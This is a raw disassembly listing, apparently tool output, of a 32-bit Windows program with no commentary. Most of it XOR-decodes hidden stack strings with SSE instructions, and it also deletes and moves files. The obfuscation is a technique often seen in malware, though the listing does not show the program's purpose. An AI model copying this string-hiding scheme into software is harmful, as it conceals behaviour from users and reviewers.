pxor xmm1, xmmword [ebp - 0x11b0]
mov dword [ebp - 0x890], 0x35986e3d
mov dword [ebp - 0x88c], 0xa3bc60fe
mov dword [ebp - 0x888], 0x7d6825ce
mov dword [ebp - 0x884], 0x5e869b7
mov dword [ebp - 0x880], 0x6ec79807
mov dword [ebp - 0x87c], 0x85ab61b8
mov dword [ebp - 0x878], 0x2c323fc0
mov dword [ebp - 0x874], 0x6ee09d91
movaps xmmword [ebp - 0x11b0], xmm1
lea eax, [ebp - 0x638]
movaps xmm1, xmmword [ebp - 0x11a0]
pxor xmm1, xmmword [ebp - 0x890]
push 0
push eax
movaps xmmword [ebp - 0x11a0], xmm1
lea eax, [ebp - 0x11b0]
movaps xmm1, xmmword [ebp - 0x1190]
pxor xmm1, xmmword [ebp - 0x880]
push 0x104
push eax
movaps xmmword [ebp - 0x1190], xmm1
call esi
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x457b90
call esi
cmp eax, 2
je 0x457b90
call esi
mov dword [ebp - 0x1180], 0x70c2de95
mov dword [ebp - 0x117c], 0x27392a69
mov dword [ebp - 0x1178], 0x6de83923
mov dword [ebp - 0x1174], 0x6b1b10e9
mov dword [ebp - 0x1170], 0x56f90c1d
mov dword [ebp - 0x116c], 0x83cc1595
mov dword [ebp - 0x1168], 0x5124698a
mov dword [ebp - 0x1164], 0x779a0c97
mov dword [ebp - 0x1160], 0xde7ea68
mov dword [ebp - 0x115c], 0xbfce05d7
mov dword [ebp - 0x1158], 0x26561ae0
mov dword [ebp - 0x1154], 0x6ee09d91
movaps xmm1, xmmword [ebp - 0x1180]
mov dword [ebp - 0x8a0], 0x1cabbfd3
mov dword [ebp - 0x89c], 0x53194e0c
mov dword [ebp - 0x898], 0x88c194c
mov dword [ebp - 0x894], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1180], xmm1
movaps xmm1, xmmword [ebp - 0x1170]
mov dword [ebp - 0x890], 0x35986e3d
mov dword [ebp - 0x88c], 0xa3bc60fe
mov dword [ebp - 0x888], 0x7d6825ce
mov dword [ebp - 0x884], 0x5e869b7
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1170], xmm1
movaps xmm1, xmmword [ebp - 0x1160]
push eax
mov dword [ebp - 0x880], 0x6ec79807
lea eax, [ebp - 0x1180]
mov dword [ebp - 0x87c], 0x85ab61b8
mov dword [ebp - 0x878], 0x2c323fc0
mov dword [ebp - 0x874], 0x6ee09d91
pxor xmm1, xmmword [ebp - 0x880]
push eax
movaps xmmword [ebp - 0x1160], xmm1
call fcn.0044b300
mov dword [ebp - 0xbc0], 0x4ffefe83
lea eax, [ebp - 0xbc0]
mov dword [ebp - 0xbbc], 0x53194e49
mov dword [ebp - 0xbb8], 0x88c194c
mov dword [ebp - 0xbb4], 0xe6f7585
movaps xmm1, xmmword [ebp - 0xbc0]
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbc0], xmm1
call fcn.005d6a9d
add esp, 0xc
lea ecx, [ebp - 0x13d0]
call fcn.0045ea80
lea ecx, [ebp - 0x8e8]
call fcn.0045ea80
lea ecx, [ebp - 0x900]
call fcn.0045ea80
lea ecx, [ebp - 0x928]
call fcn.0045ea80
lea ecx, [ebp - 0x13b8]
call fcn.0045ea80
jmp 0x45d597
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x4580ec
call esi
cmp eax, 2
je 0x4580ec
call esi
mov esi, eax
mov dword [ebp - 0x20d0], 0x798bd192
lea eax, [ebp - 0x2090]
mov dword [ebp - 0x20cc], 0x21763c7e
push eax
lea eax, [ebp - 0x20d0]
mov dword [ebp - 0x20c8], 0x6bef766c
push eax
lea ecx, [ebp - 0x3480]
mov dword [ebp - 0x20c4], 0x6a0a07f0
mov dword [ebp - 0x20c0], 0x50f0191d
mov dword [ebp - 0x20bc], 0xc2de4090
mov dword [ebp - 0x20b8], 0x13014ead
mov dword [ebp - 0x20b4], 0x759d49d0
mov dword [ebp - 0x20b0], 0x228bdc27
mov dword [ebp - 0x20ac], 0xf7ce4998
mov dword [ebp - 0x20a8], 0xc4050b2
mov dword [ebp - 0x20a4], 0xb84f2f2
mov dword [ebp - 0x20a0], 0xfe7737eb
mov dword [ebp - 0x209c], 0xd449c0a3
mov dword [ebp - 0x2098], 0xee688e32
mov dword [ebp - 0x2094], 0x73a07313
call fcn.0045f980
lea eax, [ebp - 0x20d0]
mov dword [ebp - 0x8b0], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2110]
mov dword [ebp - 0x8ac], 0x53194e0c
push eax
lea ecx, [ebp - 0x3478]
mov dword [ebp - 0x2110], 0x1cabbfd3
mov dword [ebp - 0x210c], 0x53194e0c
mov dword [ebp - 0x8a8], 0x88c194c
mov dword [ebp - 0x8a4], 0xe6f7585
mov dword [ebp - 0x2108], 0x88c194c
mov dword [ebp - 0x2104], 0xe6f7585
mov dword [ebp - 0x8a0], 0x35986e3d
mov dword [ebp - 0x89c], 0xa3bc60fe
mov dword [ebp - 0x2100], 0x35986e3d
mov dword [ebp - 0x20fc], 0xa3bc60fe
mov dword [ebp - 0x898], 0x7d6825ce
mov dword [ebp - 0x894], 0x5e869b7
mov dword [ebp - 0x20f8], 0x7d6825ce
mov dword [ebp - 0x20f4], 0x5e869b7
mov dword [ebp - 0x890], 0x6ec79807
mov dword [ebp - 0x88c], 0x85ab61b8
mov dword [ebp - 0x20f0], 0x6ec79807
mov dword [ebp - 0x20ec], 0x85ab61b8
mov dword [ebp - 0x888], 0x2c323fc0
mov dword [ebp - 0x884], 0x6ee09d91
mov dword [ebp - 0x20e8], 0x2c323fc0
mov dword [ebp - 0x20e4], 0x6ee09d91
mov dword [ebp - 0x880], 0x9a5217d1
mov dword [ebp - 0x87c], 0xd449ca8a
mov dword [ebp - 0x20e0], 0x9a5217d1
mov dword [ebp - 0x20dc], 0xd449ca8a
mov dword [ebp - 0x878], 0xee688e32
mov dword [ebp - 0x874], 0x73a07313
mov dword [ebp - 0x20d8], 0xee688e32
mov dword [ebp - 0x20d4], 0x73a07313
call fcn.0045f980
mov dword [ebp - 0x1300], 0x798bd192
mov dword [ebp - 0x12fc], 0x21763c7e
mov dword [ebp - 0x2150], 0x798bd192
mov dword [ebp - 0x214c], 0x21763c7e
mov dword [ebp - 0x12f8], 0x6bef766c
mov dword [ebp - 0x12f4], 0x6a0a07f0
mov dword [ebp - 0x2148], 0x6bef766c
mov dword [ebp - 0x2144], 0x6a0a07f0
mov dword [ebp - 0x12f0], 0x50f0191d
mov dword [ebp - 0x12ec], 0xc2de4090
mov dword [ebp - 0x2140], 0x50f0191d
mov dword [ebp - 0x213c], 0xc2de4090
mov dword [ebp - 0x12e8], 0x13014ead
mov dword [ebp - 0x12e4], 0x759d49d0
mov dword [ebp - 0x2138], 0x13014ead
mov dword [ebp - 0x2134], 0x759d49d0
mov dword [ebp - 0x12e0], 0x228bdc27
mov dword [ebp - 0x12dc], 0xf7ce4998
mov dword [ebp - 0x2130], 0x228bdc27
lea eax, [ebp - 0x2110]
mov dword [ebp - 0x212c], 0xf7ce4998
push eax
lea eax, [ebp - 0x2150]
mov dword [ebp - 0x12d8], 0xc4050b2
push eax
lea ecx, [ebp - 0x3470]
mov dword [ebp - 0x12d4], 0xb84f2f2
mov dword [ebp - 0x2128], 0xc4050b2
mov dword [ebp - 0x2124], 0xb84f2f2
mov dword [ebp - 0x12d0], 0xfe7737eb
mov dword [ebp - 0x12cc], 0xd449c0a3
mov dword [ebp - 0x2120], 0xfe7737eb
mov dword [ebp - 0x211c], 0xd449c0a3
mov dword [ebp - 0x12c8], 0xee688e32
mov dword [ebp - 0x12c4], 0x73a07313
mov dword [ebp - 0x2118], 0xee688e32
mov dword [ebp - 0x2114], 0x73a07313
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x8b0]
lea eax, [ebp - 0x1300]
pxor xmm1, xmmword [ebp - 0x1300]
movaps xmmword [ebp - 0x1300], xmm1
movaps xmm1, xmmword [ebp - 0x12f0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x12f0], xmm1
movaps xmm1, xmmword [ebp - 0x12e0]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x12e0], xmm1
movaps xmm1, xmmword [ebp - 0x12d0]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x12d0], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2ea8], 0x4ffefe83
lea eax, [ebp - 0x2e98]
mov dword [ebp - 0x2ea4], 0x53194e49
lea ecx, [ebp - 0x3468]
mov dword [ebp - 0x2ea0], 0x88c194c
mov dword [ebp - 0x2e9c], 0xe6f7585
push eax
lea eax, [ebp - 0x2ea8]
push eax
call fcn.0045f980
lea eax, [ebp - 0x2ea8]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2eb8]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3460]
mov dword [ebp - 0x2eb8], 0x1cabbfd3
mov dword [ebp - 0x2eb4], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2eb0], 0x88c194c
mov dword [ebp - 0x2eac], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2eb8]
mov dword [ebp - 0xbd0], 0x4ffefe83
push eax
lea eax, [ebp - 0x2ec8]
mov dword [ebp - 0xbcc], 0x53194e49
push eax
lea ecx, [ebp - 0x3458]
mov dword [ebp - 0x2ec8], 0x4ffefe83
mov dword [ebp - 0x2ec4], 0x53194e49
mov dword [ebp - 0xbc8], 0x88c194c
mov dword [ebp - 0xbc4], 0xe6f7585
mov dword [ebp - 0x2ec0], 0x88c194c
mov dword [ebp - 0x2ebc], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xbd0]
pxor xmm1, xmmword [ebp - 0xbd0]
push eax
movaps xmmword [ebp - 0xbd0], xmm1
call fcn.005d6a9d
add esp, 4
lea ecx, [ebp - 0x13d0]
call fcn.0045ea80
lea ecx, [ebp - 0x8e8]
call fcn.0045ea80
lea ecx, [ebp - 0x900]
call fcn.0045ea80
jmp 0x45d581
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x2318]
call fcn.0045e680
lea ecx, [ebp - 0x2318]
mov byte [ebp - 4], 0x10
call fcn.0044da70
lea ecx, [ebp - 0x2318]
mov dword [0x67fe04], eax
call fcn.0045e620
lea ecx, [ebp - 0x8e8]
call fcn.0045e8c0
sub esp, 0x18
mov dword [ebp - 0x2be4], eax
mov edi, esp
mov dword [ebp - 0x2bec], esp
mov dword [ebp - 0x2bf0], edi
mov ecx, edi
push dword [ebp - 0x2bec]
call fcn.00461700
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x2be4]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x2be4], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x458161
sub ecx, dword [ebp - 0x2be4]
push ecx
push edx
mov ecx, edi
call fcn.00461720
sub esp, 0x18
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x928]
mov ecx, esp
push eax
call fcn.0045ec10
mov byte [ebp - 4], 5
call fcn.0044dbb0
mov edi, eax
add esp, 0x30
cmp edi, 0x1a0a
jne 0x458508
mov dword [ebp - 0x1340], 0x3cdcda9d
lea eax, [ebp - 0x1340]
mov dword [ebp - 0x133c], 0x206b2b7a
mov dword [ebp - 0x1338], 0x28e27625
mov dword [ebp - 0x1334], 0x6b1b10e1
mov dword [ebp - 0x1330], 0x51fd1a5e
mov dword [ebp - 0x132c], 0xcfcc40d2
mov dword [ebp - 0x1328], 0x181b44ab
mov dword [ebp - 0x1324], 0x61981c97
mov dword [ebp - 0x1320], 0x4ea2ec66
mov dword [ebp - 0x131c], 0xe98b0ecc
mov dword [ebp - 0x1318], 0x49464ca1
mov dword [ebp - 0x1314], 0x2c0e9e2
mov dword [ebp - 0x1310], 0xff3676be
mov dword [ebp - 0x130c], 0xb13feaf8
mov dword [ebp - 0x1308], 0x8101fd40
mov dword [ebp - 0x1304], 0x73aa5d7d
movaps xmm1, xmmword [ebp - 0x1340]
mov dword [ebp - 0x8b0], 0x1cabbfd3
mov dword [ebp - 0x8ac], 0x53194e0c
mov dword [ebp - 0x8a8], 0x88c194c
mov dword [ebp - 0x8a4], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x1340], xmm1
movaps xmm1, xmmword [ebp - 0x1330]
mov dword [ebp - 0x8a0], 0x35986e3d
mov dword [ebp - 0x89c], 0xa3bc60fe
mov dword [ebp - 0x898], 0x7d6825ce
mov dword [ebp - 0x894], 0x5e869b7
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1330], xmm1
movaps xmm1, xmmword [ebp - 0x1320]
mov dword [ebp - 0x890], 0x6ec79807
mov dword [ebp - 0x88c], 0x85ab61b8
mov dword [ebp - 0x888], 0x2c323fc0
mov dword [ebp - 0x884], 0x6ee09d91
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1320], xmm1
movaps xmm1, xmmword [ebp - 0x1310]
mov dword [ebp - 0x880], 0x9a5217d1
mov dword [ebp - 0x87c], 0xd449ca8a
mov dword [ebp - 0x878], 0xee688e32
mov dword [ebp - 0x874], 0x73a07313
pxor xmm1, xmmword [ebp - 0x880]
push eax
movaps xmmword [ebp - 0x1310], xmm1
call fcn.0044b300
mov dword [ebp - 0x1240], 0x72dcd097
add esp, 4
mov dword [ebp - 0x123c], 0x37782160
mov dword [ebp - 0x1238], 0x66e5756c
mov dword [ebp - 0x1234], 0x664f4fee
mov dword [ebp - 0x1230], 0xfe81a49
mov dword [ebp - 0x122c], 0xcdca4fd1
mov dword [ebp - 0x1228], 0x531044a6
mov dword [ebp - 0x1224], 0x2a8506d4
mov dword [ebp - 0x1220], 0xaa6f76b
mov dword [ebp - 0x121c], 0xeb8613dd
mov dword [ebp - 0x1218], 0x2c3848a5
mov dword [ebp - 0x1214], 0x6ee09d91
movaps xmm1, xmmword [ebp - 0x1240]
mov dword [ebp - 0x8a0], 0x1cabbfd3
mov dword [ebp - 0x89c], 0x53194e0c
mov dword [ebp - 0x898], 0x88c194c
mov dword [ebp - 0x894], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1240], xmm1
movaps xmm1, xmmword [ebp - 0x1230]
mov dword [ebp - 0x890], 0x35986e3d
mov dword [ebp - 0x88c], 0xa3bc60fe
mov dword [ebp - 0x888], 0x7d6825ce
mov dword [ebp - 0x884], 0x5e869b7
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1230], xmm1
movaps xmm1, xmmword [ebp - 0x1220]
mov dword [ebp - 0x880], 0x6ec79807
mov dword [ebp - 0x87c], 0x85ab61b8
mov dword [ebp - 0x878], 0x2c323fc0
mov dword [ebp - 0x874], 0x6ee09d91
pxor xmm1, xmmword [ebp - 0x880]
movaps xmmword [ebp - 0x1220], xmm1
lea eax, [ebp - 0x1240]
push eax
call fcn.0044b300
mov dword [ebp - 0xbe0], 0x4ffefe83
lea eax, [ebp - 0xbe0]
mov dword [ebp - 0xbdc], 0x53194e49
add esp, 4
mov dword [ebp - 0xbd8], 0x88c194c
mov dword [ebp - 0xbd4], 0xe6f7585
movaps xmm1, xmmword [ebp - 0xbe0]
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbe0], xmm1
call fcn.005d6a9d
add esp, 4
jmp 0x457b54
cmp edi, 0x100000
jae 0x458889
lea eax, [ebp - 0x1670]
mov dword [ebp - 0x1690], 0x3cf69588
push eax
lea eax, [ebp - 0x1690]
mov dword [ebp - 0x168c], 0x326f2045
push eax
lea ecx, [ebp - 0x3450]
mov dword [ebp - 0x1688], 0x28e87020
mov dword [ebp - 0x1684], 0x6b151cf6
mov dword [ebp - 0x1680], 0x51bd4e07
mov dword [ebp - 0x167c], 0xa3bc60f4
mov dword [ebp - 0x1678], 0x7d6825ce
mov dword [ebp - 0x1674], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1650]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1670]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3448]
mov dword [ebp - 0x1670], 0x1cabbfd3
mov dword [ebp - 0x166c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x1668], 0x88c194c
mov dword [ebp - 0x1664], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x1660], 0x35986e3d
mov dword [ebp - 0x165c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x1658], 0x7d6825ce
mov dword [ebp - 0x1654], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1630]
mov dword [ebp - 0xf30], 0x3cf69588
push eax
lea eax, [ebp - 0x1650]
mov dword [ebp - 0xf2c], 0x326f2045
push eax
lea ecx, [ebp - 0x3440]
mov dword [ebp - 0x1650], 0x3cf69588
mov dword [ebp - 0x164c], 0x326f2045
mov dword [ebp - 0xf28], 0x28e87020
mov dword [ebp - 0xf24], 0x6b151cf6
mov dword [ebp - 0x1648], 0x28e87020
mov dword [ebp - 0x1644], 0x6b151cf6
mov dword [ebp - 0xf20], 0x51bd4e07
mov dword [ebp - 0xf1c], 0xa3bc60f4
mov dword [ebp - 0x1640], 0x51bd4e07
mov dword [ebp - 0x163c], 0xa3bc60f4
mov dword [ebp - 0xf18], 0x7d6825ce
mov dword [ebp - 0xf14], 0x5e869b7
mov dword [ebp - 0x1638], 0x7d6825ce
mov dword [ebp - 0x1634], 0x5e869b7
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xf30]
lea eax, [ebp - 0xf30]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xf30], xmm1
movaps xmm1, xmmword [ebp - 0xf20]
pxor xmm1, xmmword [ebp - 0x850]
push edi
push eax
movaps xmmword [ebp - 0xf20], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2ed8], 0x4ffefe83
lea eax, [ebp - 0x2ec8]
mov dword [ebp - 0x2ed4], 0x53194e49
lea ecx, [ebp - 0x3438]
mov dword [ebp - 0x2ed0], 0x88c194c
mov dword [ebp - 0x2ecc], 0xe6f7585
push eax
lea eax, [ebp - 0x2ed8]
push eax
call fcn.0045f980
mov dword [ebp - 0x850], 0x1cabbfd3
mov dword [ebp - 0x84c], 0x53194e0c
lea eax, [ebp - 0x2ed8]
mov dword [ebp - 0x2ee8], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2ee8]
mov dword [ebp - 0x2ee4], 0x53194e0c
push eax
lea ecx, [ebp - 0x3428]
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2ee0], 0x88c194c
mov dword [ebp - 0x2edc], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2ee8]
mov dword [ebp - 0xbf0], 0x4ffefe83
push eax
lea eax, [ebp - 0x2ef8]
mov dword [ebp - 0xbec], 0x53194e49
push eax
lea ecx, [ebp - 0x3420]
mov dword [ebp - 0x2ef8], 0x4ffefe83
mov dword [ebp - 0x2ef4], 0x53194e49
mov dword [ebp - 0xbe8], 0x88c194c
mov dword [ebp - 0xbe4], 0xe6f7585
mov dword [ebp - 0x2ef0], 0x88c194c
mov dword [ebp - 0x2eec], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xbf0]
lea eax, [ebp - 0xbf0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbf0], xmm1
call fcn.005d6a9d
add esp, 4
lea ecx, [ebp - 0x13d0]
call fcn.0045ea80
lea ecx, [ebp - 0x8e8]
call fcn.0045ea80
lea ecx, [ebp - 0x900]
call fcn.0045ea80
jmp 0x45d581
cmp edi, dword [0x67fe04]
jne 0x458ab7
lea eax, [ebp - 0x1610]
mov dword [ebp - 0x1630], 0x3cf69588
push eax
lea eax, [ebp - 0x1630]
mov dword [ebp - 0x162c], 0x3d6e2148
push eax
lea ecx, [ebp - 0x3418]
mov dword [ebp - 0x1628], 0x6ced7620
mov dword [ebp - 0x1624], 0x670406a5
mov dword [ebp - 0x1620], 0x51fd1e4d
mov dword [ebp - 0x161c], 0xa3bc60f4
mov dword [ebp - 0x1618], 0x7d6825ce
mov dword [ebp - 0x1614], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x15f0]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1610]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3410]
mov dword [ebp - 0x1610], 0x1cabbfd3
mov dword [ebp - 0x160c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x1608], 0x88c194c
mov dword [ebp - 0x1604], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x1600], 0x35986e3d
mov dword [ebp - 0x15fc], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x15f8], 0x7d6825ce
mov dword [ebp - 0x15f4], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x15d0]
mov dword [ebp - 0xf50], 0x3cf69588
push eax
lea eax, [ebp - 0x15f0]
mov dword [ebp - 0xf4c], 0x3d6e2148
push eax
lea ecx, [ebp - 0x3408]
mov dword [ebp - 0x15f0], 0x3cf69588
mov dword [ebp - 0x15ec], 0x3d6e2148
mov dword [ebp - 0xf48], 0x6ced7620
mov dword [ebp - 0xf44], 0x670406a5
mov dword [ebp - 0x15e8], 0x6ced7620
mov dword [ebp - 0x15e4], 0x670406a5
mov dword [ebp - 0xf40], 0x51fd1e4d
mov dword [ebp - 0xf3c], 0xa3bc60f4
mov dword [ebp - 0x15e0], 0x51fd1e4d
mov dword [ebp - 0x15dc], 0xa3bc60f4
mov dword [ebp - 0xf38], 0x7d6825ce
mov dword [ebp - 0xf34], 0x5e869b7
mov dword [ebp - 0x15d8], 0x7d6825ce
mov dword [ebp - 0x15d4], 0x5e869b7
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xf50]
lea eax, [ebp - 0xf50]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xf50], xmm1
movaps xmm1, xmmword [ebp - 0xf40]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xf40], xmm1
call fcn.0044b300
add esp, 4
mov byte [0x67fdf9], 1
jmp 0x458e65
lea eax, [ebp - 0x2ef8]
mov dword [ebp - 0x2f08], 0x72dcd097
push eax
lea eax, [ebp - 0x2f08]
mov dword [ebp - 0x2f04], 0x37782160
push eax
lea ecx, [ebp - 0x3400]
mov dword [ebp - 0x2f00], 0x32eb7725
mov dword [ebp - 0x2efc], 0xe6f758f
call fcn.0045f980
lea eax, [ebp - 0x2f08]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2f18]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x33f8]
mov dword [ebp - 0x2f18], 0x1cabbfd3
mov dword [ebp - 0x2f14], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2f10], 0x88c194c
mov dword [ebp - 0x2f0c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2f18]
mov dword [ebp - 0xc00], 0x72dcd097
push eax
lea eax, [ebp - 0x2f28]
mov dword [ebp - 0xbfc], 0x37782160
push eax
lea ecx, [ebp - 0x33f0]
mov dword [ebp - 0x2f28], 0x72dcd097
mov dword [ebp - 0x2f24], 0x37782160
mov dword [ebp - 0xbf8], 0x32eb7725
mov dword [ebp - 0xbf4], 0xe6f758f
mov dword [ebp - 0x2f20], 0x32eb7725
mov dword [ebp - 0x2f1c], 0xe6f758f
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xc00]
lea eax, [ebp - 0xc00]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xc00], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x15d0], 0x1cc4bf90
lea eax, [ebp - 0x15b0]
mov dword [ebp - 0x15cc], 0x536a4e62
lea ecx, [ebp - 0x33e8]
mov dword [ebp - 0x15c8], 0x8fe1938
mov dword [ebp - 0x15c4], 0xe0c75f0
push eax
lea eax, [ebp - 0x15d0]
mov dword [ebp - 0x15c0], 0x35f76e49
push eax
mov dword [ebp - 0x15bc], 0xa392608c
mov dword [ebp - 0x15b8], 0x7d0425aa
mov dword [ebp - 0x15b4], 0x5e869db
call fcn.0045f980
lea eax, [ebp - 0x1590]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x15b0]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x33e0]
mov dword [ebp - 0x15b0], 0x1cabbfd3
mov dword [ebp - 0x15ac], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x15a8], 0x88c194c
mov dword [ebp - 0x15a4], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x15a0], 0x35986e3d
mov dword [ebp - 0x159c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x1598], 0x7d6825ce
mov dword [ebp - 0x1594], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1570]
mov dword [ebp - 0xf70], 0x1cc4bf90
push eax
lea eax, [ebp - 0x1590]
mov dword [ebp - 0xf6c], 0x536a4e62
push eax
lea ecx, [ebp - 0x33d8]
mov dword [ebp - 0x1590], 0x1cc4bf90
mov dword [ebp - 0x158c], 0x536a4e62
mov dword [ebp - 0xf68], 0x8fe1938
mov dword [ebp - 0xf64], 0xe0c75f0
mov dword [ebp - 0x1588], 0x8fe1938
mov dword [ebp - 0x1584], 0xe0c75f0
mov dword [ebp - 0xf60], 0x35f76e49
mov dword [ebp - 0xf5c], 0xa392608c
mov dword [ebp - 0x1580], 0x35f76e49
mov dword [ebp - 0x157c], 0xa392608c
mov dword [ebp - 0xf58], 0x7d0425aa
mov dword [ebp - 0xf54], 0x5e869db
mov dword [ebp - 0x1578], 0x7d0425aa
mov dword [ebp - 0x1574], 0x5e869db
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xf70]
lea eax, [ebp - 0xf70]
pxor xmm1, xmmword [ebp - 0x860]
sub esp, 0x18
movaps xmmword [ebp - 0xf70], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0xf60]
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2bec], esp
push eax
movaps xmmword [ebp - 0xf60], xmm1
call fcn.0045e680
sub esp, 0x18
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x8e8]
mov dword [ebp - 0x2be4], esp
mov esi, esp
call fcn.0045e8c0
push eax
mov ecx, esi
call fcn.0045ebd0
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x928]
mov ecx, esp
push eax
call fcn.0045ec10
mov ecx, edi
mov byte [ebp - 4], 5
call fcn.00453a30
add esp, 0x48
cmp byte [0x67fdf9], 0
je 0x4598e3
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1df0]
mov dword [ebp - 0x1e20], 0x1cc4bf90
push eax
lea eax, [ebp - 0x1e20]
mov dword [ebp - 0x1e1c], 0x536a4e62
push eax
lea ecx, [ebp - 0x33d0]
mov dword [ebp - 0x1e18], 0x8fe1938
mov dword [ebp - 0x1e14], 0xe0c75f0
mov dword [ebp - 0x1e10], 0x35f76e49
mov dword [ebp - 0x1e0c], 0xa392608c
mov dword [ebp - 0x1e08], 0x7d0425aa
mov dword [ebp - 0x1e04], 0x5c669db
mov dword [ebp - 0x1e00], 0x6ea69865
mov dword [ebp - 0x1dfc], 0x85ab61d3
mov dword [ebp - 0x1df8], 0x2c323fc0
mov dword [ebp - 0x1df4], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1e20]
mov dword [ebp - 0x8a0], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1e50]
mov dword [ebp - 0x89c], 0x53194e0c
push eax
lea ecx, [ebp - 0x33c8]
